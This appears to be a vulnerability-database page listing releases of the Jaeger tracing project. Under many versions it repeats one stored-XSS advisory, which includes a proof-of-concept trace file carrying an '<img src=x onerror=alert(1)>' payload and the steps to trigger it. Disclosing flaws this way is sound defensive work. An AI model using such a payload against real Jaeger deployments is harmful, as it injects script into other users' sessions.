github.com/jaegertracing/jaeger

Version	Released
`v1.76.0` minor	Dec 03, 2025
`v1.75.0` minor	Nov 13, 2025
`v1.74.0` minor	Oct 02, 2025
`v1.73.0` minor	Sep 03, 2025
`v1.72.0` minor	Aug 06, 2025
`v1.71.0` minor	Jul 04, 2025
`v1.70.0` minor	Jun 10, 2025
`v1.69.0` minor	May 09, 2025
`v1.68.0` minor	Apr 05, 2025
`v1.67.0` minor	Mar 08, 2025
`v1.66.0` minor	Feb 06, 2025
`v1.65.0` minor	Jan 07, 2025
`v1.64.0` minor	Dec 06, 2024
`v1.63.0` minor	Nov 10, 2024
`v1.62.0` minor	Oct 07, 2024
`v1.61.0` minor	Sep 15, 2024
`v1.60.0` minor	Aug 06, 2024
`v1.59.0` minor	Jul 10, 2024
`v1.58.1` patch	Jun 22, 2024
`v1.58.0` minor	Jun 11, 2024
`v1.57.0` minor	May 01, 2024
`v1.55.0` minor	Mar 07, 2024
`v1.54.0` minor	Feb 06, 2024
`v1.53.0` minor	Jan 08, 2024
`v1.51.0` minor	Nov 02, 2023
`v1.50.0` minor	Oct 06, 2023
`v1.49.0` minor	Sep 07, 2023
`v1.48.0` minor	Aug 15, 2023
`v1.47.0` minor	Jul 06, 2023
`v1.44.0` minor 1 CVE	Apr 10, 2023
`v1.43.0` minor 1 CVE	Mar 15, 2023
`v1.41.0` minor 1 CVE	Jan 03, 2023
`v1.40.0` minor 1 CVE	Dec 08, 2022
`v1.38.0` minor 1 CVE	Sep 16, 2022
`v1.35.1` minor 1 CVE	May 31, 2022
`v1.35.2` patch 1 CVE	May 31, 2022
`v1.34.1` minor 1 CVE	May 16, 2022
`v1.32.0` minor 1 CVE	Mar 06, 2022
`v1.31.0` minor 1 CVE	Feb 04, 2022
`v1.29.0` minor 1 CVE	Dec 01, 2021
`v1.26.0` minor 1 CVE	Sep 06, 2021
`v1.25.0` minor 1 CVE	Aug 05, 2021
`v1.24.0` minor 1 CVE	Jul 07, 2021
`v1.23.0` minor 1 CVE	Jun 04, 2021
`v1.22.0` minor 1 CVE	Feb 23, 2021
`v1.21.0` minor 1 CVE	Nov 16, 2020
`v1.19.2` minor 1 CVE	Aug 27, 2020
`v1.17.1` minor 2 CVEs	Mar 13, 2020
`v1.16.0` minor 2 CVEs	Dec 17, 2019
`v1.15.0` minor 2 CVEs	Nov 07, 2019

v1.76.0 minor

Dec 03, 2025

v1.75.0 minor

Nov 13, 2025

v1.74.0 minor

Oct 02, 2025

v1.73.0 minor

Sep 03, 2025

v1.72.0 minor

Aug 06, 2025

v1.71.0 minor

Jul 04, 2025

v1.70.0 minor

Jun 10, 2025

v1.69.0 minor

May 09, 2025

v1.68.0 minor

Apr 05, 2025

v1.67.0 minor

Mar 08, 2025

v1.66.0 minor

Feb 06, 2025

v1.65.0 minor

Jan 07, 2025

v1.64.0 minor

Dec 06, 2024

v1.63.0 minor

Nov 10, 2024

v1.62.0 minor

Oct 07, 2024

v1.61.0 minor

Sep 15, 2024

v1.60.0 minor

Aug 06, 2024

v1.59.0 minor

Jul 10, 2024

v1.58.1 patch

Jun 22, 2024

v1.58.0 minor

Jun 11, 2024

v1.57.0 minor

May 01, 2024

v1.55.0 minor

Mar 07, 2024

v1.54.0 minor

Feb 06, 2024

v1.53.0 minor

Jan 08, 2024

v1.51.0 minor

Nov 02, 2023

v1.50.0 minor

Oct 06, 2023

v1.49.0 minor

Sep 07, 2023

v1.48.0 minor

Aug 15, 2023

v1.47.0 minor

Jul 06, 2023

v1.44.0 minor

1 CVE

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 10, 2023

v1.43.0 minor

1 CVE

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 15, 2023

v1.41.0 minor

1 CVE

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 03, 2023

v1.40.0 minor

1 CVE

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 08, 2022

v1.38.0 minor

1 CVE

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Sep 16, 2022

v1.35.1 minor

1 CVE

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

May 31, 2022

v1.35.2 patch

1 CVE

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

May 31, 2022

v1.34.1 minor

1 CVE

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

May 16, 2022

v1.32.0 minor

1 CVE

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 06, 2022

v1.31.0 minor

1 CVE

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 04, 2022

v1.29.0 minor

1 CVE

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 01, 2021

v1.26.0 minor

1 CVE

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Sep 06, 2021

v1.25.0 minor

1 CVE

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 05, 2021

v1.24.0 minor

1 CVE

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 07, 2021

v1.23.0 minor

1 CVE

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Fixed in


          1.47.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jun 04, 2021

v1.22.0 minor

1 CVE

GHSA-2w8w-qhg4-f78j Jul 11, 2023

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

6.5 / 10

Medium

Network Low None None Unchanged Low Low None

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
